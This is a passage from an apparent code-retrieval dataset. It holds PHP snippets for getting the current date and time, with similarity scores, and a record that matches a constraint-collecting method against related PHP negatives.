"public static function timestamp() {}",
"public function nowMutable(): \\DateTime;",
"function erp_current_datetime() {\n if ( function_exists( 'current_datetime' ) ) {\n return current_datetime();\n }\n\n return new DateTimeImmutable( 'now', erp_wp_timezone() );\n}",
"public function utcDateTime()\n\t{\n\t\treturn new \\DateTime('now', new \\DateTimezone('UTC'));\n\t}",
"public function now(): \\DateTimeImmutable;",
"public function now(): \\DateTimeImmutable;",
"public function now(): \\DateTimeImmutable;",
"function timeStamp( $returnNow = false )\r\n {\r\n if ( $returnNow == true )\r\n return mktime();\r\n else\r\n return $this->hour() * 3600 + $this->minute() * 60 + $this->second();\r\n }",
"public static final function now ()\n\t\t{\n\t\t\t\n\t\t\treturn date('Y-m-d H:i:s');\n\t\t\t\n\t\t}",
"function GetTimeNow($Local)\n{\n\tif (!$Local) return(time()); //Torno tempo in UTC\n\treturn(time()+date(\"Z\")); //Torno tempo locale\n}",
"public function getCurrent() {\r\n $currentDate = new \\DateTime();\r\n return $currentDate->getTimestamp();\r\n }",
"function now() {\r\n\t\tdate_default_timezone_set('GMT');\r\n\t\treturn date(\"d/m/Y H:i:s\");\r\n\t}",
"protected static function getTimestamp()\n\t{\n\t\treturn date(\"Y-m-d H:00:00\");\n\t}",
"public static function now(): self\n {\n return new self(value: new DateTimeImmutable('now', new DateTimeZone('UTC')));\n }",
"public static function now() {\n return new LusiTime( mktime()); }",
"function COM_NOW() {\r\n\t$now = new DateTime();\r\n\t$offset = $_SESSION[\"org_TZO\"] - $_SESSION[\"_SITE_CONF\"][\"TZO\"]; //offset from server to organization\r\n\tif ($offset == 0) return $now;\r\n\t$invert = 0;\r\n\tif ($offset < 0) {\r\n\t\t$offset = abs($offset);\r\n\t\t$invert = 1;\r\n\t}\r\n\t$format = \"PT\".$offset.\"H\";\r\n\t$interval = new DateInterval($format);\r\n\t$interval->invert = $invert;\r\n\t$now->add($interval);\r\n\treturn $now;\r\n}",
"function getDatestamp()\n{\n $d = new DateTime();\n return $d->getTimestamp() . \"\";\n}",
"private static function timestamp(){\n date_default_timezone_set('Africa/Nairobi');\n $time = time();\n return date(\"Y-m-d G:i:s\", $time);\n }",
"public function getTimestamp();",
"public function getTimestamp();",
"public function getTimestamp();",
"function _getNow() {\t\t\n\t\tstatic $datenow = null;\n\t\tif (!isset($datenow)) {\t\t\t\t\t\t\n\t\t\t$datenow =& JFactory::getDate(\"+0 seconds\");\n\t\t}\n\t\treturn $datenow;\n\t}",
"public function getCurrentTime()\n {\n return new \\DateTime();\n }",
"static function getDateTimeUTCTimestamp()\n {\n isset(self::$_data[self::KEY_PHP_DATETIME_UTC_TIMESTAMP]) || self::$_data[self::KEY_PHP_DATETIME_UTC_TIMESTAMP] = new \\DateTime(NULL, new \\DateTimeZone(\"UTC\"));\n return clone self::$_data[self::KEY_PHP_DATETIME_UTC_TIMESTAMP];\n }",
"protected function getTimestamp()\r\n {\r\n return gmdate(\"Y-m-d\\TH:i:s.\\\\0\\\\0\\\\0\\\\Z\", time());\r\n }",
"public function getCurrentDateTime()\n {\n // Lookup configured timezone\n $timezone = Mage::getStoreConfig('general/locale/timezone');\n // Get current time\n $curDateTime = new DateTime('now');\n\n // Return\n return $curDateTime;\n }",
"function getTimestamp()\n{\n $year = getVar('year');\n $month = getVar('mon');\n $day = getVar('day');\n $hour = getVar('hour');\n $min = getVar('min');\n\n if (isset($year) && isset($month) && isset($day) && isset($hour) && isset($min))\n return mktime($hour,$min,0,$month,$day,$year);\n else\n return time();\n}",
"public function now() {\n\n\t\t$dateTime = new DateTime ( 'NOW' );\n\t\treturn $dateTime->format ( \"Y-m-d H:i:s\" );\n\t\n\t}",
"public function getTimestampUTC()\n {\n return $this->timestamp;\n }",
"function getDateTime(){\ndate_default_timezone_set('America/Chicago');\n$dateTime = date('Y-m-d G:i:s', time());\n return $dateTime;\n}",
"public static function now()\n {\n return date(self::DATETIME_PHP_FORMAT);\n }",
"public static function get_now(){\n $result = Db::query('SELECT NOW() as now');\n \t$row = $result->fetch_assoc();\n return $row['now'];\n }",
"public static function now() {\n\t\t\treturn date('Y-m-d');\n\t\t}",
"public static function now ()\n\t\t{\n\t\t\treturn date(self::$dtFormat);\n\t\t}",
"function sqlite_now()\n{\n\treturn date('Y-m-d H:i:s');\n}",
"function beginning_of_today ()\n{\n\tglobal $time_zone_offset;\n\t// putenv('TZ=GMT');\n\t\n\t$now = gmmktime();\n\t$hours_today = (date('G', $now - $time_zone_offset));\n\t$minutes_today = (date('i', $now - $time_zone_offset));\n\t$seconds_today = (date('s', $now - $time_zone_offset));\n\n\t$beginning = $now - (3600 * $hours_today);\n\t$beginning -= ($minutes_today * 60);\n\t$beginning -= $seconds_today;\n\n\treturn $beginning;\n}",
"function getObsoleteToday() {\n $today = getdate();\n $time = mktime(0,0,1,$today['mon'], $today['mday'], $today['year']);\n return $time;\n }",
"function current_datetime()\n {\n }",
"private static function timeStamp() {\n return date(\"Y-m-d H:i:s\");\n }",
"static public function createTime ()\n {\n $result = time();\n static::addTimeZone($result);\n return $result;\n }",
"public function curDateTime() {\r\n return new DateTime();\r\n }",
"public function timestamp();",
"public function currentTimestamp()\n {\n return 'GETDATE()';\n }",
"public static function getCurrentDateAndTime() {\n\t\tif(qsys::getSiteLocation() == 'online') {\n\t\t\t$currentDateTimeOnServer = qdat::getCurrentDateAndTimeOnCurrentComputer();\n\t\t\t$currentAbsoluteSeconds = qdat::getAbsoluteSeconds($currentDateTimeOnServer);\n\t\t\t$adjustedCurrentAbsoluteSeconds = $currentAbsoluteSeconds + (Config::getServerOffsetInHours() * -1 * 3600);\n\t\t\treturn qdat::convertAbsoluteSecondsToDateTime($adjustedCurrentAbsoluteSeconds);\n\t\t} else {\n\t\t\treturn qdat::getCurrentDateAndTimeOnCurrentComputer();\n\t\t}\n\t}",
"public function getTimestamp()\n {\n }",
"function time_now() {\n return date(\"H:i:s\");\n}",
"public static function timestamp(){\n $timestamp = time();\n return $timestamp;\n }",
"public function getDateInTimestamp(){\n $defaultTimeZone = date_default_timezone_get();\n date_default_timezone_set(Mage::getStoreConfig('general/locale/timezone'));\n $timestamp = strtotime($this->_getData('date'));\n date_default_timezone_set($defaultTimeZone);\n return $timestamp;\n }",
"public static function getNow(): \\DateTime\n {\n // NOTE that new \\DateTime('@timestamp') does NOT work - @see comment in normalizeDateTimeSingle()\n // So we create a date string with timezone information first, and a \\DateTime in the current server timezone then.\n return new \\DateTime(date('Y-m-d\\TH:i:sP', (int)$GLOBALS['SIM_ACCESS_TIME']), self::getTimeZone());\n }",
"function timestamp(){\r\n\t\t$timestamp = round(microtime(1) * 1000);\r\n\r\n\t\treturn $timestamp;\r\n\t}",
"public function getServerTimestamp();",
"function getDateTime()\n {\n return (new DateTime('now'))->format('Y-m-d H:i:s');\n }",
"function currentDate(){\n\t$date = date(\"Y-m-d H:i:s\");\n\treturn $date;\n}",
"function getTimestamp(){\n return date('m/d/Y G:h');\n}",
"function get_variable_time() {\n\t\t$datetime = $this->get_option( 'queue_datetime', true );\n\n\t\tif ( ! $datetime ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$timestamp = strtotime( $datetime, current_time( 'timestamp' ) );\n\n\t\t$date = new DateTime();\n\t\t$date->setTimestamp( $timestamp );\n\t\t$date->convert_to_utc_time();\n\n\t\treturn $date;\n\t}",
"function now(): float\n{\n return (float) \\hrtime(true) / 1_000_000_000;\n}",
"function timeStamp()\n {\n return date(\"YmdHis\");\n }",
"public function localDateTime()\n\t{\n\t\treturn new \\DateTime('now', new \\DateTimezone($this->defaultTimezone()));\n\t}",
"public function getCurrentDateTimeUsingTimezone()\n {\n // Lookup configured timezone\n $timezone = Mage::getStoreConfig('general/locale/timezone');\n // Get current time\n $curDateTime = new DateTime('now', new DateTimeZone($timezone));\n\n // Return\n return $curDateTime;\n }",
"public static function unixTimeNow(): int\n {\n return time();\n }",
"public static function now(): self\n {\n return new static(new DateTime());\n }",
"function getsystime() {\n\n return date('Y-m-d H:i:s');\n\n}",
"protected function now()\n {\n return Carbon::now();\n }",
"final public static function nowSql()\n {\n try {\n $date = new \\DateTimeImmutable(null, self::tzUtc());\n return $date->format('Y-m-d H:i:s');\n } catch (\\Exception $e) {\n return null;\n }\n\n\n }",
"public static function getCurrentDate()\n\t{\n\t\treturn new \\Bitrix\\Main\\Type\\DateTime();\n\t}",
"private function now($timezone = \"utc\") {\r\n\t\tif (!in_array(strtolower($timezone), array_map(\"strtolower\", timezone_identifiers_list()))) { $timezone = \"utc\"; }\r\n\t\t$now = new DateTime(null, new DateTimeZone($timezone));\r\n\t\treturn $now->format(\"Y-m-d H:i:s O\");\r\n\t}",
"public function serverDateTime()\n\t{\n\t\treturn new \\DateTime('now', new \\DateTimezone(date_default_timezone_get()));\n\t}",
"function funcs_getTimeStamp($date){\n\t$date = new Mydate($date);\n\treturn $date->getStamp();\n}",
"function sysdate()\n\t\t{\n\t\t\treturn 'now';\t\t\t\n\t\t}",
"public function getTimestamp()\n {\n return time();\n }",
"function date_local_to_sys($timestamp, $local_tz='') {\n\tif($local_tz == '') $local_tz = @$_SESSION['cms']['user']['timezone'];\n\tif($local_tz == '') return $timestamp;\n\n\t$offset = date_tz_offset($timestamp, $local_tz);\n\treturn $timestamp - $offset;\n}",
"function getDatetime(){\n return date('Y-m-d H:i:s');\n}",
"function now() {\n return microtime(true)*1000;\n}",
"function now($format = 'Y-m-d') {\n\treturn date($format);\n}",
"function article_time() {\n if($created = Registry::prop('article', 'created_at')) {\n return $created->getTimestamp();\n }\n}",
"function usersCurrentTime($userId=null) {\n if (!$userId)\n $userId = $this->controller->authd_user_id;\n\n $timezone = $this->controller->User->getTimeZone($userId);\n $date = new DateTime(\"now\", new DateTimeZone($timezone));\n return $date;\n }",
"public function getTimestamp(): int;",
"public function getTimestamp(): int;"
] | [
"0.8122719",
"0.75328225",
"0.740187",
"0.72698367",
"0.7173096",
"0.7161588",
"0.7109294",
"0.7096217",
"0.7086792",
"0.7078817",
"0.70599884",
"0.69656765",
"0.6955381",
"0.69528437",
"0.69498146",
"0.6946179",
"0.69273806",
"0.6860403",
"0.68413305",
"0.6826487",
"0.68216485",
"0.6793911",
"0.6781724",
"0.67736053",
"0.67538947",
"0.67432714",
"0.66884696",
"0.66884696",
"0.66884696",
"0.6686734",
"0.66723657",
"0.6645947",
"0.6639476",
"0.6634343",
"0.6624219",
"0.6604659",
"0.6600803",
"0.65611446",
"0.6558245",
"0.655708",
"0.6549751",
"0.6549751",
"0.6549751",
"0.6547573",
"0.65395415",
"0.6532301",
"0.65222865",
"0.6513579",
"0.65096337",
"0.65034246",
"0.64886904",
"0.6478568",
"0.64762974",
"0.64732313",
"0.647115",
"0.64548284",
"0.6452429",
"0.6445988",
"0.64398855",
"0.6437671",
"0.64288145",
"0.6427773",
"0.64260197",
"0.6419866",
"0.6414911",
"0.64140856",
"0.6408837",
"0.64084494",
"0.6391697",
"0.6388755",
"0.6384139",
"0.6383054",
"0.6381225",
"0.6372009",
"0.6365665",
"0.63560486",
"0.6324313",
"0.6308431",
"0.6301672",
"0.6298442",
"0.62974167",
"0.6292092",
"0.62795055",
"0.62717456",
"0.6270816",
"0.62649286",
"0.6255354",
"0.6253208",
"0.62431985",
"0.6240925",
"0.623561",
"0.62345743",
"0.62207216",
"0.6214064",
"0.620981",
"0.62014866",
"0.6196658",
"0.6195025",
"0.6193002",
"0.6193002"
] | 0.6526529 | 46 |
Gets all constraints including itself. | public function getConstraints(): array
{
$constraints = array_merge($this->getConstraint1()->getConstraints(), $this->getConstraint2()->getConstraints());
$constraints[] = $this;
return $constraints;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getConstraints()\n {\n return $this->constraints;\n }",
"public function GetConstraints () {\n\t\treturn $this->constraints;\n\t}",
"public function getConstraints();",
"public function getConstraintNodes(): array\n {\n return $this->organize()->constraints;\n }",
"public function getConstraints(): ?array\n {\n return $this->constraints;\n }",
"public function GetConstraints ();",
"public function getConstrains(): array;",
"public function getValidationConstraints()\n {\n return $this->generator->generate($this->objects);\n }",
"public function getAffectedConstraints()\n\t{\n\t\treturn $this->constraints;\n\t}",
"public function getConstraints( $attr = NULL )\n {\n if ( $attr === NULL ) return $this->constraints;\n if ( isset($this->constraints[ $attr ]) ) return $this->constraints[ $attr ];\n\n return array(); // No tiene restricciones\n }",
"public function getConstraint();",
"public static function getConstraints($tableName) {\n $constraints = DbManager::query(\"select TABLE_NAME,COLUMN_NAME,CONSTRAINT_NAME,\n REFERENCED_TABLE_NAME,REFERENCED_COLUMN_NAME from INFORMATION_SCHEMA.KEY_COLUMN_USAGE\n where table_name = '$tableName'\");\n return $constraints;\n }",
"public function getConstraintRelaxations()\n {\n return $this->constraint_relaxations;\n }",
"public function getConstraint() {}",
"public function getConstraint() {}",
"public function getConstraintTypes() {}",
"function getConstraint() ;",
"function getConstraint() ;",
"public function getConstraints()\n {\n if ($this->_fields['Constraints']['FieldValue'] == null)\n {\n $this->_fields['Constraints']['FieldValue'] = array();\n }\n return $this->_fields['Constraints']['FieldValue'];\n }",
"public function addConstraints()\n {\n if (static::$constraints)\n {\n $this->query->where($this->foreignKey, '=', $this->getParentKey());\n\n $this->query->whereNotNull($this->foreignKey);\n\n $this->query->where($this->rootKey, '=', $this->getRootKey());\n\n $this->query->whereNotNull($this->rootKey);\n\n }\n }",
"public static function getTableConstraints(DomElement $table)\n {\n $constraints = array();\n $constraintsTag = $table->getElementsByTagName('constraints')->item(0);\n\n if ($constraintsTag === NULL) {\n return $constraints;\n }\n\n $constraints = self::getConstraintsFromParent($constraintsTag);\n\n return $constraints;\n\n }",
"public function getConstraint()\n {\n return $this->constraint;\n }",
"public function getConstraint()\n {\n return $this->constraint;\n }",
"public function getConstraint()\n {\n return $this->constraint;\n }",
"protected function _compile_constraints()\r\n\t{\r\n\t\t// Prepare the constraints array\r\n\t\t$constraints = array();\r\n\t\t\r\n\t\t// Compile the not null constraint\r\n\t\tif( ! $this->is_nullable)\r\n\t\t{\r\n\t\t\t$constraints[] = 'not null';\r\n\t\t}\r\n\t\t\r\n\t\t// Compile the default constraint\r\n\t\tif(isset($this->default) AND ( ! is_null($this->default) AND $this->default != ''))\r\n\t\t{\r\n\t\t\t$constraints['default'] = $this->table->database->quote($this->default);\r\n\t\t}\r\n\t\t\r\n\t\t// Return the constraints array\r\n\t\treturn $constraints;\r\n\t}",
"public function getConstraint() {\n return $this->constraint;\n }",
"public function getValidationConstraints(): Assert\\Collection\n {\n return new Assert\\Collection([\n 'file' => new Assert\\Required([\n new Assert\\NotBlank(),\n new Assert\\Collection([\n 'name' => new Assert\\Required([\n new Assert\\NotBlank(),\n ]),\n 'content' => new Assert\\Required([\n new Assert\\NotBlank(),\n ]),\n 'digest' => new Assert\\Required([\n new Assert\\NotBlank(),\n ]),\n ]),\n ]),\n ]);\n }",
"public function testAllConstraints()\n {\n $xml = '<table name=\"test\"><constraints>\n <primary-key name=\"asset_type_pk\">\n <column>type_code</column>\n </primary-key>\n <foreign-key ref-table=\"asset_type\" name=\"asset_type_fk1\" on-delete=\"CASCADE\">\n <column references=\"type_code\">parent_type</column>\n </foreign-key>\n <unique name=\"unique_constraint\">\n <column>assetid</column>\n </unique></constraints></table>';\n\n $queryXml = new DOMDocument();\n $queryXml->loadXML($xml);\n $table = $queryXml->getElementsByTagName('table')->item(0);\n $expected = array(\n 'PRIMARY-KEYS' => array(\n 0 => array(\n 'name' => 'asset_type_pk',\n 'COLUMNS' => array(\n 0 => 'type_code',\n ),\n ),\n ),\n 'FOREIGN-KEYS' => array(\n 0 => array(\n 'name' => 'asset_type_fk1',\n 'table' => '',\n 'on-delete' => 'CASCADE',\n 'COLUMNS' => array (\n 0 => array(\n 'name' => 'parent_type',\n 'references' => 'type_code',\n ),\n ),\n ),\n ),\n 'UNIQUES' => array(\n 0 => array(\n 'name' => 'unique_constraint',\n 'COLUMNS' => array(\n 0 => 'assetid',\n ),\n ),\n ),\n );\n\n $retVal = DALSchemaParser::getTableConstraints($table);\n\n PHPUnit_Framework_Assert::assertEquals($expected, $retVal);\n\n }",
"public function getConstraint1() {}",
"public function getConstraint1() {}",
"public function addConstraints(): void\n\t{\n\t\tif (static::$constraints) {\n\t\t\t$this->addEagerConstraints([$this->getParent()]);\n\t\t}\n\t}",
"function getConstraint1() ;",
"function getConstraint1() ;",
"public function getValidationConstraints()\n {\n return new Assert\\Collection([\n 'token' => new Assert\\Required(\n [new Assert\\NotBlank()]\n )\n ]);\n }",
"public function addConstraints()\n {\n if (static::$constraints) {\n $this->query->where($this->ownerKey, '==', $this->child->{$this->foreignKey});\n }\n }",
"function getConstraintsWithFields($table) {\n\n\t\t$c_schema = $this->_schema;\n\t\t$this->clean($c_schema);\n\t\t$this->clean($table);\n\n\t\t// get the max number of col used in a constraint for the table\n\t\t$sql = \"SELECT DISTINCT\n\t\t\tmax(SUBSTRING(array_dims(c.conkey) FROM '^\\\\\\\\[.*:(.*)\\\\\\\\]$')) as nb\n\t\tFROM pg_catalog.pg_constraint AS c\n\t\t\tJOIN pg_catalog.pg_class AS r ON (c.conrelid=r.oid)\n\t\t JOIN pg_catalog.pg_namespace AS ns ON (r.relnamespace=ns.oid)\n\t\tWHERE\n\t\t\tr.relname = '{$table}' AND ns.nspname='{$c_schema}'\";\n\n\t\t$rs = $this->selectSet($sql);\n\n\t\tif ($rs->EOF) $max_col = 0;\n\t\telse $max_col = $rs->fields['nb'];\n\n\t\t$sql = '\n\t\t\tSELECT\n\t\t\t\tc.oid AS conid, c.contype, c.conname, pg_catalog.pg_get_constraintdef(c.oid, true) AS consrc,\n\t\t\t\tns1.nspname as p_schema, r1.relname as p_table, ns2.nspname as f_schema,\n\t\t\t\tr2.relname as f_table, f1.attname as p_field, f1.attnum AS p_attnum, f2.attname as f_field,\n\t\t\t\tf2.attnum AS f_attnum, pg_catalog.obj_description(c.oid, \\'pg_constraint\\') AS constcomment,\n\t\t\t\tc.conrelid, c.confrelid\n\t\t\tFROM\n\t\t\t\tpg_catalog.pg_constraint AS c\n\t\t\t\tJOIN pg_catalog.pg_class AS r1 ON (c.conrelid=r1.oid)\n\t\t\t\tJOIN pg_catalog.pg_attribute AS f1 ON (f1.attrelid=r1.oid AND (f1.attnum=c.conkey[1]';\n\t\tfor ($i = 2; $i <= $rs->fields['nb']; $i++) {\n\t\t\t$sql.= \" OR f1.attnum=c.conkey[$i]\";\n\t\t}\n\t\t$sql.= '))\n\t\t\t\tJOIN pg_catalog.pg_namespace AS ns1 ON r1.relnamespace=ns1.oid\n\t\t\t\tLEFT JOIN (\n\t\t\t\t\tpg_catalog.pg_class AS r2 JOIN pg_catalog.pg_namespace AS ns2 ON (r2.relnamespace=ns2.oid)\n\t\t\t\t) ON (c.confrelid=r2.oid)\n\t\t\t\tLEFT JOIN pg_catalog.pg_attribute AS f2 ON\n\t\t\t\t\t(f2.attrelid=r2.oid AND ((c.confkey[1]=f2.attnum AND c.conkey[1]=f1.attnum)';\n\t\tfor ($i = 2; $i <= $rs->fields['nb']; $i++)\n\t\t\t$sql.= \" OR (c.confkey[$i]=f2.attnum AND c.conkey[$i]=f1.attnum)\";\n\n\t\t$sql .= sprintf(\"))\n\t\t\tWHERE\n\t\t\t\tr1.relname = '%s' AND ns1.nspname='%s'\n\t\t\tORDER BY 1\", $table, $c_schema);\n\n\t\treturn $this->selectSet($sql);\n\t}",
"function getConstraints($question_id)\n \t{\n\t\tglobal $ilDB;\n\t\t\n\t\t$result_array = array();\n\t\t$result = $ilDB->queryF(\"SELECT svy_constraint.*, svy_relation.* FROM svy_qst_constraint, svy_constraint, svy_relation \".\n\t\t\t\"WHERE svy_constraint.relation_fi = svy_relation.relation_id AND \".\n\t\t\t\"svy_qst_constraint.constraint_fi = svy_constraint.constraint_id AND svy_qst_constraint.question_fi = %s \".\n\t\t\t\"AND svy_qst_constraint.survey_fi = %s\",\n\t\t\tarray('integer','integer'),\n\t\t\tarray($question_id, $this->getSurveyId())\n\t\t);\n\t\twhile ($row = $ilDB->fetchAssoc($result))\n\t\t{\t\n\t\t\tinclude_once \"./Modules/SurveyQuestionPool/classes/class.SurveyQuestion.php\";\n\t\t\t$question_type = SurveyQuestion::_getQuestionType($row[\"question_fi\"]);\n\t\t\tSurveyQuestion::_includeClass($question_type);\n\t\t\t$question = new $question_type();\n\t\t\t$question->loadFromDb($row[\"question_fi\"]);\n\t\t\t$valueoutput = $question->getPreconditionValueOutput($row[\"value\"]);\n\t\t\tarray_push($result_array, array(\"id\" => $row[\"constraint_id\"], \"question\" => $row[\"question_fi\"], \"short\" => $row[\"shortname\"], \"long\" => $row[\"longname\"], \"value\" => $row[\"value\"], \"conjunction\" => $row[\"conjunction\"], \"valueoutput\" => $valueoutput));\n\t\t}\n\t\treturn $result_array;\n\t}",
"protected function findConstraints($table)\n {\n $this->findPrimaryKey($table);\n\n $rc = 'INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS';\n $kcu = 'INFORMATION_SCHEMA.KEY_COLUMN_USAGE';\n if (isset($table->catalogName)) {\n $kcu = $table->catalogName . '.' . $kcu;\n $rc = $table->catalogName . '.' . $rc;\n }\n\n //From http://msdn2.microsoft.com/en-us/library/aa175805(SQL.80).aspx\n $sql = <<<EOD\n\t\tSELECT\n\t\t KCU1.TABLE_SCHEMA AS 'table_schema'\n\t\t , KCU1.TABLE_NAME AS 'table_name'\n\t\t , KCU1.COLUMN_NAME AS 'column_name'\n\t\t , KCU2.TABLE_SCHEMA AS 'referenced_table_schema'\n\t\t , KCU2.TABLE_NAME AS 'referenced_table_name'\n\t\t , KCU2.COLUMN_NAME AS 'referenced_column_name'\n\t\tFROM {$this->quoteTableName($rc)} RC\n\t\tJOIN {$this->quoteTableName($kcu)} KCU1\n\t\tON KCU1.CONSTRAINT_CATALOG = RC.CONSTRAINT_CATALOG\n\t\t AND KCU1.CONSTRAINT_SCHEMA = RC.CONSTRAINT_SCHEMA\n\t\t AND KCU1.CONSTRAINT_NAME = RC.CONSTRAINT_NAME\n\t\tJOIN {$this->quoteTableName($kcu)} KCU2\n\t\tON KCU2.CONSTRAINT_CATALOG = RC.UNIQUE_CONSTRAINT_CATALOG\n\t\t AND KCU2.CONSTRAINT_SCHEMA =\tRC.UNIQUE_CONSTRAINT_SCHEMA\n\t\t AND KCU2.CONSTRAINT_NAME = RC.UNIQUE_CONSTRAINT_NAME\n\t\t AND KCU2.ORDINAL_POSITION = KCU1.ORDINAL_POSITION\nEOD;\n\n $constraints = $this->connection->select($sql);\n\n $this->buildTableRelations($table, $constraints);\n }",
"function _getConstraints($survey_id)\n \t{\n\t\tglobal $ilDB;\n\t\t$result_array = array();\n\t\t$result = $ilDB->queryF(\"SELECT svy_qst_constraint.question_fi as for_question, svy_constraint.*, svy_relation.* \".\n\t\t\t\"FROM svy_qst_constraint, svy_constraint, svy_relation WHERE svy_constraint.relation_fi = svy_relation.relation_id \".\n\t\t\t\"AND svy_qst_constraint.constraint_fi = svy_constraint.constraint_id AND svy_qst_constraint.survey_fi = %s\",\n\t\t\tarray('integer'),\n\t\t\tarray($survey_id)\n\t\t);\n\t\twhile ($row = $ilDB->fetchAssoc($result))\n\t\t{\t\t\n\t\t\tarray_push($result_array, array(\"id\" => $row[\"constraint_id\"], \"for_question\" => $row[\"for_question\"], \"question\" => $row[\"question_fi\"], \"short\" => $row[\"shortname\"], \"long\" => $row[\"longname\"], \"relation_id\" => $row[\"relation_id\"], \"value\" => $row[\"value\"], 'conjunction' => $row['conjunction']));\n\t\t}\n\t\treturn $result_array;\n\t}",
"protected function findConstraints($table)\n {\n parent::findConstraints($table);\n\n // Modified from parent to get extended FK information.\n $tableName = $this->quoteValue($table->name);\n $tableSchema = $this->quoteValue($table->schemaName);\n\n $sql = <<<SQL\nSELECT\n ct.conname AS constraint_name,\n a.attname AS column_name,\n fc.relname AS foreign_table_name,\n fns.nspname AS foreign_table_schema,\n fa.attname AS foreign_column_name,\n ct.confupdtype AS update_type,\n ct.confdeltype AS delete_type\nfrom\n (SELECT ct.conname, ct.conrelid, ct.confrelid, ct.conkey, ct.contype, ct.confkey, generate_subscripts(ct.conkey, 1) AS s, ct.confupdtype, ct.confdeltype\n FROM pg_constraint ct\n ) AS ct\n INNER JOIN pg_class c ON c.oid=ct.conrelid\n INNER JOIN pg_namespace ns ON c.relnamespace=ns.oid\n INNER JOIN pg_attribute a ON a.attrelid=ct.conrelid AND a.attnum = ct.conkey[ct.s]\n LEFT JOIN pg_class fc ON fc.oid=ct.confrelid\n LEFT JOIN pg_namespace fns ON fc.relnamespace=fns.oid\n LEFT JOIN pg_attribute fa ON fa.attrelid=ct.confrelid AND fa.attnum = ct.confkey[ct.s]\nWHERE\n ct.contype='f'\n AND c.relname={$tableName}\n AND ns.nspname={$tableSchema}\nORDER BY \n fns.nspname, fc.relname, a.attnum\nSQL;\n\n $extendedConstraints = $this->db->createCommand($sql)->queryAll();\n\n foreach ($extendedConstraints as $key => $extendedConstraint) {\n // Find out what to do on update.\n switch ($extendedConstraint['update_type']) {\n case 'a':\n $updateAction = 'NO ACTION';\n break;\n case 'r':\n $updateAction = 'RESTRICT';\n break;\n case 'c':\n $updateAction = 'CASCADE';\n break;\n case 'n':\n $updateAction = 'SET NULL';\n break;\n default:\n $updateAction = 'DEFAULT';\n break;\n }\n\n // Find out what to do on update.\n switch ($extendedConstraint['delete_type']) {\n case 'a':\n $deleteAction = 'NO ACTION';\n break;\n case 'r':\n $deleteAction = 'RESTRICT';\n break;\n case 'c':\n $deleteAction = 'CASCADE';\n break;\n case 'n':\n $deleteAction = 'SET NULL';\n break;\n default:\n $deleteAction = 'DEFAULT';\n break;\n }\n\n $table->addExtendedForeignKey($key, [\n 'updateType' => $updateAction,\n 'deleteType' => $deleteAction,\n ]);\n }\n }",
"public function addConstraints()\n {\n if (static::$constraints) {\n /*\n * For belongs to relationships, which are essentially the inverse of has one\n * or has many relationships, we need to actually query on the primary key\n * of the parent model matching on the INCOMING relationship by name.\n *\n * We are trying to achieve a Cypher that goes something like:\n *\n * MATCH (phone:`Phone`), (phone)<-[:PHONE]-(owner:`User`)\n * WHERE id(phone) = 1006\n * RETURN owner;\n *\n * (phone:`Phone`) represents a matching statement where\n * 'phone' is the parent Node's placeholder and '`Phone`' is the parentLabel.\n * All node placeholders must be lowercased letters and will be used\n * throught the query to represent the actual Node.\n *\n * Resulting from:\n * class Phone extends NeoEloquent {\n *\n * public function owner()\n * {\n * return $this->belongsTo('User', 'PHONE');\n * }\n * }\n */\n\n // Get the parent node's placeholder.\n $parentNode = $this->query->getQuery()->modelAsNode($this->parent->nodeLabel());\n // Tell the query that we only need the related model returned.\n $this->query->select($this->relation);\n // Set the parent node's placeholder as the RETURN key.\n $this->query->getQuery()->from = array($parentNode);\n // Build the MATCH ()<-[]-() Cypher clause.\n $this->query->matchOut($this->parent, $this->related, $this->relation, $this->relationType, $this->otherKey, $this->parent->{$this->otherKey});\n // Add WHERE clause over the parent node's matching key = value.\n $this->query->where($this->otherKey, '=', $this->parent->{$this->otherKey});\n }\n }",
"function getConstraint2() ;",
"function getConstraint2() ;",
"public function getMandatoryRelations()\n {\n return $this->with;\n }",
"public function addConstraints()\n {\n $this->performJoins();\n\n if (static::$constraints) {\n $local_value = $this->parent->{$this->getFirstForeignKeyName()};\n\n $this->query->where($this->getQualifiedFirstLocalKeyName(), '=', $local_value);\n }\n }",
"public function getConstraint2() {}",
"public function getConstraint2() {}",
"public function getRootConditions(): iterable\n {\n return $this->model->getRootConditions();\n }",
"public function getAllRequirements();",
"public function getNodes(): array\n {\n return \\array_merge(\n parent::getNodes(),\n $this->constraints,\n $this->indexes\n );\n }",
"function getRules() {\n\t\t$fields = $this->getFields();\n\t\t$allRules = array();\n\n\t\tforeach ($fields as $field) {\n\t\t\t$fieldRules = $field->getValidationRules();\n\t\t\t$allRules[$field->getName()] = $fieldRules;\n\t\t}\n\n\t\treturn $allRules;\n\t}",
"public function addConstraints()\n {\n if (static::$constraints) {\n parent::addConstraints();\n\n $this->query->where($this->getQualifiedFirstKeyType(), $this->morphClass);\n }\n }",
"public function getConstraint(ModelInterface $entity)\n {\n $metadata = $this->validator->getMetadataFor($entity);\n $constrainedProperties = $metadata->getConstrainedProperties();\n\n $result = [];\n\n foreach($constrainedProperties as $constrainedProperty) {\n\n $propertyMetadata=$metadata->getPropertyMetadata($constrainedProperty);\n $constraints=$propertyMetadata[0]->constraints;\n foreach($constraints as $constraint)\n {\n $result[] = ['field' => $constrainedProperty, 'constraint' => $constraint];\n }\n }\n\n return $result;\n }",
"public function getAllScopes()\n {\n $scopes = $this->model->all()->toArray();\n\n return $scopes;\n }",
"public function getPossibleRelations()\n {\n return $this->possibleRelations;\n }",
"public function resources() {\n $resources = array();\n foreach ($this->relFullOperations() as $op) {\n foreach($op->resources() as $resource) {\n if (!in_array ($resource, $resources, true)) {\n array_push($resources, $resource);\n }\n }\n foreach($op->phaseOperations() as $phase) {\n foreach($phase->resources() as $phase_res) {\n if (!in_array ($phase_res, $resources, false)) {\n array_push($resources, $phase_res);\n }\n }\n }\n }\n return collect($resources);\n }",
"public function getValidationRules()\n {\n $rules = [];\n\n // Get the schema\n $schema = $this->getSchema();\n\n return $schema->getRules($this);\n }",
